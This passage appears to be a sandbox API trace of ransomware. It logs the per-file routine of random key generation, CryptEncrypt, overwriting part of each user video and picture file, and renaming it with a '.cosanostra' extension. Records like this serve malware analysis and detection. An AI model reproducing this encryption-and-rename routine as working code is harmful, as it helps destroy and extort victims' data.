nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f43c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f43c*=0x30, lpOverlapped=0x0) returned 1 [0097.102] CloseHandle (hObject=0x138) returned 1 [0097.102] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\7Ws7HTNpqoUje.mkv.cosanostra") returned 95 [0097.102] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\7Ws7HTNpqoUje.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\7ws7htnpqouje.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\7Ws7HTNpqoUje.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\7ws7htnpqouje.mkv.cosanostra")) returned 1 [0097.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f478 | out: pbBuffer=0x251f478) returned 1 [0097.104] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f470*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f470*=0x30) returned 1 [0097.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\VSqorq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\vsqorq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.104] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\VSqorq.avi") returned 82 [0097.104] StrStrW (lpFirst="VSqorq.avi", lpSrch=".txt") returned 0x0 [0097.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.105] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f434*=0x2800, lpOverlapped=0x0) returned 1 [0097.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.105] WriteFile (in: hFile=0x138, lpBuffer=0x251f474*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x251f474*, lpNumberOfBytesWritten=0x251f434*=0x4, lpOverlapped=0x0) returned 1 [0097.105] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f434*=0x30, lpOverlapped=0x0) returned 1 [0097.105] CloseHandle (hObject=0x138) returned 1 [0097.106] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\VSqorq.avi.cosanostra") returned 93 [0097.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\VSqorq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\vsqorq.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\VSqorq.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\vsqorq.avi.cosanostra")) returned 1 [0097.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f478 | out: pbBuffer=0x251f478) returned 1 [0097.106] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f470*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f470*=0x30) returned 1 [0097.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\rJyeZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\rjyez.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.107] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\rJyeZ.swf") returned 81 [0097.107] StrStrW (lpFirst="rJyeZ.swf", lpSrch=".txt") returned 0x0 [0097.107] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.107] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f434*=0x2800, lpOverlapped=0x0) returned 1 [0097.108] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.108] WriteFile (in: hFile=0x138, lpBuffer=0x251f474*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x251f474*, lpNumberOfBytesWritten=0x251f434*=0x4, lpOverlapped=0x0) returned 1 [0097.108] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f434, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f434*=0x30, lpOverlapped=0x0) returned 1 [0097.108] CloseHandle (hObject=0x138) returned 1 [0097.108] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\rJyeZ.swf.cosanostra") returned 92 [0097.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\rJyeZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\rjyez.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\rJyeZ.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\rjyez.swf.cosanostra")) returned 1 [0097.109] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f470 | out: pbBuffer=0x251f470) returned 1 [0097.109] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f468*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f468*=0x30) returned 1 [0097.109] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\mV8mVwUu_ceSrSWEdi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\mv8mvwuu_cesrswedi.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.109] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\mV8mVwUu_ceSrSWEdi.swf") returned 94 [0097.109] StrStrW (lpFirst="mV8mVwUu_ceSrSWEdi.swf", lpSrch=".txt") returned 0x0 [0097.110] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffeffc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.110] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1004, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f42c*=0x1004, lpOverlapped=0x0) returned 1 [0097.110] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.110] WriteFile (in: hFile=0x138, lpBuffer=0x251f46c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x251f46c*, lpNumberOfBytesWritten=0x251f42c*=0x4, lpOverlapped=0x0) returned 1 [0097.110] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f42c*=0x30, lpOverlapped=0x0) returned 1 [0097.110] CloseHandle (hObject=0x138) returned 1 [0097.110] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\mV8mVwUu_ceSrSWEdi.swf.cosanostra") returned 105 [0097.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\mV8mVwUu_ceSrSWEdi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\mv8mvwuu_cesrswedi.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\mV8mVwUu_ceSrSWEdi.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\mv8mvwuu_cesrswedi.swf.cosanostra")) returned 1 [0097.112] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f470 | out: pbBuffer=0x251f470) returned 1 [0097.112] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f468*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f468*=0x30) returned 1 [0097.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QvfJ-ZB7d1rpu5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qvfj-zb7d1rpu5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.113] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QvfJ-ZB7d1rpu5.gif") returned 61 [0097.113] StrStrW (lpFirst="QvfJ-ZB7d1rpu5.gif", lpSrch=".txt") returned 0x0 [0097.113] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.114] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f42c*=0x2800, lpOverlapped=0x0) returned 1 [0097.114] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.114] WriteFile (in: hFile=0x138, lpBuffer=0x251f46c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x251f46c*, lpNumberOfBytesWritten=0x251f42c*=0x4, lpOverlapped=0x0) returned 1 [0097.114] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f42c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f42c*=0x30, lpOverlapped=0x0) returned 1 [0097.114] CloseHandle (hObject=0x138) returned 1 [0097.114] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QvfJ-ZB7d1rpu5.gif.cosanostra") returned 72 [0097.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QvfJ-ZB7d1rpu5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qvfj-zb7d1rpu5.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QvfJ-ZB7d1rpu5.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qvfj-zb7d1rpu5.gif.cosanostra")) returned 1 [0097.116] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f468 | out: pbBuffer=0x251f468) returned 1 [0097.116] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f460*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f460*=0x30) returned 1 [0097.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\xVT_QzJqNy8mAQP.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xvt_qzjqny8maqp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.116] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\xVT_QzJqNy8mAQP.png") returned 67 [0097.116] StrStrW (lpFirst="xVT_QzJqNy8mAQP.png", lpSrch=".txt") returned 0x0 [0097.117] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.117] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f424, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f424*=0x2800, lpOverlapped=0x0) returned 1 [0097.117] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.117] WriteFile (in: hFile=0x138, lpBuffer=0x251f464*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f424, lpOverlapped=0x0 | out: lpBuffer=0x251f464*, lpNumberOfBytesWritten=0x251f424*=0x4, lpOverlapped=0x0) returned 1 [0097.117] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f424, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f424*=0x30, lpOverlapped=0x0) returned 1 [0097.117] CloseHandle (hObject=0x138) returned 1 [0097.117] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\xVT_QzJqNy8mAQP.png.cosanostra") returned 78 [0097.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\xVT_QzJqNy8mAQP.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xvt_qzjqny8maqp.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\xVT_QzJqNy8mAQP.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xvt_qzjqny8maqp.png.cosanostra")) returned 1 [0097.118] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f460 | out: pbBuffer=0x251f460) returned 1 [0097.118] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f458*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f458*=0x30) returned 1 [0097.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\XiH9iwYYWJN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xih9iwyywjn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.118] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\XiH9iwYYWJN.png") returned 63 [0097.118] StrStrW (lpFirst="XiH9iwYYWJN.png", lpSrch=".txt") returned 0x0 [0097.119] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.119] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f41c*=0x2800, lpOverlapped=0x0) returned 1 [0097.119] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.119] WriteFile (in: hFile=0x138, lpBuffer=0x251f45c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x251f45c*, lpNumberOfBytesWritten=0x251f41c*=0x4, lpOverlapped=0x0) returned 1 [0097.119] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f41c*=0x30, lpOverlapped=0x0) returned 1 [0097.119] CloseHandle (hObject=0x138) returned 1 [0097.119] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\XiH9iwYYWJN.png.cosanostra") returned 74 [0097.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\XiH9iwYYWJN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xih9iwyywjn.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\XiH9iwYYWJN.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\xih9iwyywjn.png.cosanostra")) returned 1 [0097.120] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f460 | out: pbBuffer=0x251f460) returned 1 [0097.120] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f458*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f458*=0x30) returned 1 [0097.120] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\W UI0OaQeb0kcG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\w ui0oaqeb0kcg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.121] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\W UI0OaQeb0kcG.gif") returned 66 [0097.121] StrStrW (lpFirst="W UI0OaQeb0kcG.gif", lpSrch=".txt") returned 0x0 [0097.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.124] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f41c*=0x2800, lpOverlapped=0x0) returned 1 [0097.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.124] WriteFile (in: hFile=0x138, lpBuffer=0x251f45c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x251f45c*, lpNumberOfBytesWritten=0x251f41c*=0x4, lpOverlapped=0x0) returned 1 [0097.124] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f41c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f41c*=0x30, lpOverlapped=0x0) returned 1 [0097.124] CloseHandle (hObject=0x138) returned 1 [0097.124] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\W UI0OaQeb0kcG.gif.cosanostra") returned 77 [0097.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\W UI0OaQeb0kcG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\w ui0oaqeb0kcg.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\W UI0OaQeb0kcG.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\w ui0oaqeb0kcg.gif.cosanostra")) returned 1 [0097.126] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f458 | out: pbBuffer=0x251f458) returned 1 [0097.126] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f450*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f450*=0x30) returned 1 [0097.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\MTnMkt2lu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\mtnmkt2lu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.126] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\MTnMkt2lu.gif") returned 77 [0097.126] StrStrW (lpFirst="MTnMkt2lu.gif", lpSrch=".txt") returned 0x0 [0097.127] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.127] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f414, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f414*=0x2800, lpOverlapped=0x0) returned 1 [0097.127] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.127] WriteFile (in: hFile=0x138, lpBuffer=0x251f454*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f414, lpOverlapped=0x0 | out: lpBuffer=0x251f454*, lpNumberOfBytesWritten=0x251f414*=0x4, lpOverlapped=0x0) returned 1 [0097.128] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f414, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f414*=0x30, lpOverlapped=0x0) returned 1 [0097.128] CloseHandle (hObject=0x138) returned 1 [0097.128] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\MTnMkt2lu.gif.cosanostra") returned 88 [0097.128] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\MTnMkt2lu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\mtnmkt2lu.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\MTnMkt2lu.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\mtnmkt2lu.gif.cosanostra")) returned 1 [0097.129] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f450 | out: pbBuffer=0x251f450) returned 1 [0097.129] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f448*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f448*=0x30) returned 1 [0097.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\JoFDZBdfFU0HVc4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\jofdzbdffu0hvc4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.129] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\JoFDZBdfFU0HVc4.png") returned 83 [0097.129] StrStrW (lpFirst="JoFDZBdfFU0HVc4.png", lpSrch=".txt") returned 0x0 [0097.130] SetFilePointerEx (in: hFile=0x138, 